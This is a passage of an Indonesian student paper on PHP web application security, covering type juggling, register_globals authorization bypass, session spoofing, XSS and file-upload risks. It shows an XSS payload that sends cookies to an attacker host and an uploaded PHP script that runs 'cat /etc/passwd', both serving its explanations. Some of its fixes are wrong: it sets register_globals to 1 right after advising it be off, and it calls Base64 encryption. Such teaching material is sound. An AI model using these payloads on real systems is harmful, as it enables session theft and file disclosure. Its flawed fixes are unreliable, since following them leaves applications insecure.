4 x Invalid user ID Ya

l y Password Invalid Ya

l password1 Anda pengguna resmi Ya

0 - Anda pengguna tamu Ya

a z Anda pengguna resmi Tidak

00 z Anda pengguna resmi Tidak

Permasalahan ini cukup sulit diidentifikasi, tetapi kode berikut mungkin

dapat diserang:

▪ perbandingan nilai pengguna yang masuk dengan nilai numerik.

▪ ketidakkonsistenan ekspresi. Contohnya, penggunaan kombinasi if ($x != 0)

dan if ($x).

Langkah-langkah perbaikan dan pengembangan:

▪ mengecek kebenaran input pengguna dengan operasi pencocokkan tipe,

▪ menggunakan fungsi pengecekan tipe seperti is_long.

Abd.Thalib - 23202112

Page 23: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

10. Pengecekan Kondisi Dengan Jenis Varibel Yang Tidak Jelas

Proses otentikasi ataupun autorisasi seringkali dilakukan dengan mengecek

kondisi yang membandingkan varibel GET/POST yang diberikan user atau varibel

dari session/cookie dengan suatu nilai.

Misalkan suatu halaman melakukan otentifikasi dengan kode seperti

dibawah ini:

<?php

session destroy()

session_start();

$session_auth = "admin";

session_register("session_auth");

?>

dan kemudian sebuah halaman menggunakan autorisasi dengan cara

mengecek varibel "session_auth" seperti ini:

<?php

if (!empty($session_auth)) {

// Kode jika autorisasi berhasil disini

}

?>

Kode pengecekan tersebut tidaklah aman, sebab dengan mudah attacker

dapat mengakses halaman tersebut dengan URL seperti http://victimhost/page.php?

session_auth=1 yang dapat membuat kondisi pada if diatas menjadi TRUE.

Kesalahan pemrograman seperti ini juga terjadi pada jenis varibel dari GET/POST,

varibel cookie.

Langkah-langkah perbaikan dan pengembangan:

Set konfigurasi auto_global menjadi off pada file php.ini dan mulailah

memprogram dengan pendefinisian varibel yang jelas, $_GET, $_POST, $_COOKIE

atau $_SESSION.

if ( $_POST['username'] == $user && $_POST['password'] == $pass ) {

/* ... */

Abd.Thalib - 23202112

Page 24: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

}

Jika akses ke php.ini tidak ada, gunakan fungsi ini_set() :

ini_set("register_globals", 1);

11. Session Spoofing

Mekanisme session pada PHP tidak dilakukan dengan cara yang cukup

aman. Ketika suatu session dibentuk, misalnya saat user login, maka sebuah file

untuk menyimpan data variabel session dibuat dan akan tetap ada sebelum session

di-destroy. Session file tersebut dibuat pada direktori yang didefinisikan pada php.ini

sebagai session.save_path, pada UNIX biasanya adalah /temp/ sedangkan pada

Windows adalah sessiondata/ pada direktori dimana PHP diinstal.

File tersebut biasanya bernama seperti ini : sess_48f220fd650c06e84a15be

8fb85d dengan "48f220fd650c06e84a15be8fb85d" adalah nomor session ID aktual.

Session file dibuat oleh user yang menjalankan php/webserver, biasanya adalah

nobody.

Seorang attacker yang cukup memiliki kemampuan untuk menyimpan file

PHP sehingga file dapat diakses lewat URL, dapat membuat sebuah program PHP

yang melihat semua session file yang ada kemudian melihat isinya.

Sebuah session dapat berisi informasi-informasi yang krusial seperti

username, password dan lain-lain sehingga attacker dapat mengambil informasi

tersebut, atau paling tidak, jika sistem pengecekan untuk otentifikasi tidak terlalu

rumit, misalnya tanpa pengecekan IP host dari client, maka dengan menggunakan

session ID attacker dapat men-take over session tersebut. Atau mungkin, jika

attacker tahu apa yang harus diisi pada file tersebut, maka attacker dapat membuat

sessionya sendiri.

Langkah-langkah perbaikan dan pengembangan:

Mengubah direktori tempat menyimpan session file. Hal ini dapat dilakukan

lewat file konfigurasi php.ini atau dengan menggunakan fungsi session_save_path()

pada kode PHP. Kemudian buatlah direktori tersebut hanya memiliki hak akses

execute dan writable oleh user yang menjalankan webserver.

Abd.Thalib - 23202112

Page 25: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

mkdir /temp/sessiondir/

chmod 300 /temp/sessiondir/

Konfigurasikan PHP agar menyimpan sessionnya pada database dengan

session_set_save_handler.Tentu saja solusi ini tidak terlalu baik, tetapi paling tidak

sudah memberi kerjaan yang berat buat attacker.

Sebagai tambahan, untuk menyimpan data yang krusial di session misalnya

password, dapat melakukan enkripsi varibel sebelum varibel tersebut disimpan pada

session, misalnya: minimal dengan Base64 encoding. Session spoofing juga dapat

terjadi akibat tidak amannya cara penampilan suatu halaman PHP.

5. Beberapa Tips Untuk Pengamanan Aplikasi Web Dengan PHP

a). Mengamankan Layout atau Tampilan.

Pada web yg dinamis, kita sering melakukan permintaan data dari user

yang kemudian disimpan dalam database lalu ditampilkan untuk dapat dilihat oleh

pengunjung lain. Jika user iseng, user dapat merusak tampilan web karena dia

memasukan tag-tag HTML, misalnya memasukan kode <img src="image.jpg">

untuk menampilkan gambar yang sangat besar atau memasukan kode <!-- sehingga

sebagian tampilan web tidak muncul atau mungkin user memasukan kode javascript

yang akan menggangu pengunjung lain.

Dengan menggunakan client side scripting seperti javascript, sebuah sesion

dapat dicuri dengan cara ini. Misalkan sebuah web based mail menampilkan subject

email dengan cara :

<? echo "<TD>Subject : ". $subject ."</TD>"?>

Dengan memberikan subject yang berisi kode javascript seperti ini :

<s cript>

self. location.href="http://attackerhost.org/cookie-

grab.html?cookies="+escape(document.cookie)

</s cript>

maka informasi session/cookie dapat dikirim ke website attacker.

Abd.Thalib - 23202112

Page 26: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

Untuk menghindari tag-tag HTML yang dapat merusak tampilan/layout

website, atau menghindai implantasi scripting seperti diatas, kita dapat men-disable

tag-tag tersebut. Kita dapat memilih tag-tag apa saya yang diperbolehkan dengan

fungsi strip_tags() sehingga tag yagn tidak diperbolehkan ditampilkan sebagaimana

adanya dan tidak diparsing oleh browser sebagai kode HTML.

Atau dapat juga mengubah setiap karakter "<" dan ">" menjadi "<" dan ">"

yang merupakan kode karakter HTML untuk tanda lebih kecil dan lebih besar

dengan fungsi htmlspecialchars() atau fungsi eregi_replace().

b). Batasi ukuran data yang dikirim ke server atau yang dimasukkan ke database.

Jika kita membuat suatu aplikasi guestbook misalnya, tentu saja kita tidak mau

pengunjung dapat mengisi guestbook dengan tulisan yang sangat panjang sekali.

Oleh karena itu ada baiknya berfikir untuk selalu membatasi fasilitas untuk user.

c). Filter kata-kata kotor (bad words). Mungkin ini tidak ada hubungannya dengan

kemanan sistem, tapi jika anda ingin membangun website yang 'baik' sebaiknya

hidari kata-kata sembarangan yang bisa diposting oleh user.

d). Cegah flooding. Kita dapat menggunakan fasilitas session untuk mencegah agar

user hanya dapat mengirimkan data sekali atau beberapa kali saja. Ini sangat

berguna misalnya pada halaman polling untuk memperkecil kemungkinan user

memanipulasi data dengan men-submit terus-menerus.

e). Cegah mekanisme upload file PHP yang dapat dieksekusi kemudian dengan

dipanggil lewat URL. Jika seseorang menupload file seperti dibawah ini :

<?php

$cmd = "cat /etc/passwd"; // atau

$cmd ="echo

"HACKED\">".dirname($_SERVER['PATH_TRANSLATED'])."/hacked.html";

$h = shell_exec($cmd);

echo $h;

?>

Apabila file tersebut bisa dipanggil lewat URL maka script tersebut dapat

dieksekusi oleh PHP dan hasilnya ... BOOM !

Abd.Thalib - 23202112

Page 27: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

BAB III

KESIMPULAN

Semua software aplikasi web tak terkecuali PHP, memiliki titik lemah

dalam hal keamanan. Umumnya lubang keamanan pada aplikasi web dengan PHP

berkaitan dengan penggunaan variabel auto global dan konfigurasi skrip php yang

dibangun.

Dengan penelitian yang seksama pada titik-titik lemah tersebut, banyak

lubang kemanan dalam aplikasi menggunakan skrip PHP dapat dihindari,

diantaranya sebagai beikut :

1. hindari penggunaan variabel saat mengakses file,

2. jangan 100% percaya dengan variabel global,

3. hindari upload yang salah,

4. gunakan ekstensi .php untuk semua file skrip,

5. hati-hati terhadap penggunaan server yang sama,

6. hindari pengetikan skrip yang ruwet dan semaunya.

Abd.Thalib - 23202112

Page 28: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

DAFTAR PUSTAKA

1. Clancy Malcolm, Ten Security Check For PHP, Website, http://www.onlamp.com/pub/a/php/2003/03/20/php_security.htm

2. Jordan Dimov,On The Security Of PHP, Website http://www.developer.com/lang/php/article.php/922871

3. Sufehmi, Harry, Security di PHP, Website http://www.tf.itb.ac.id/~eryan/Php/PHPSecurity.txt

4. John Coggeshall ,PHP Security,Website http://www.onlamp/pub/au/135

5. Kadir, Abdul, Dasr Penmrograman Web Dinamis Menggunakan PHP, Andi, Yogyakarta, 2002.

Abd.Thalib - 23202112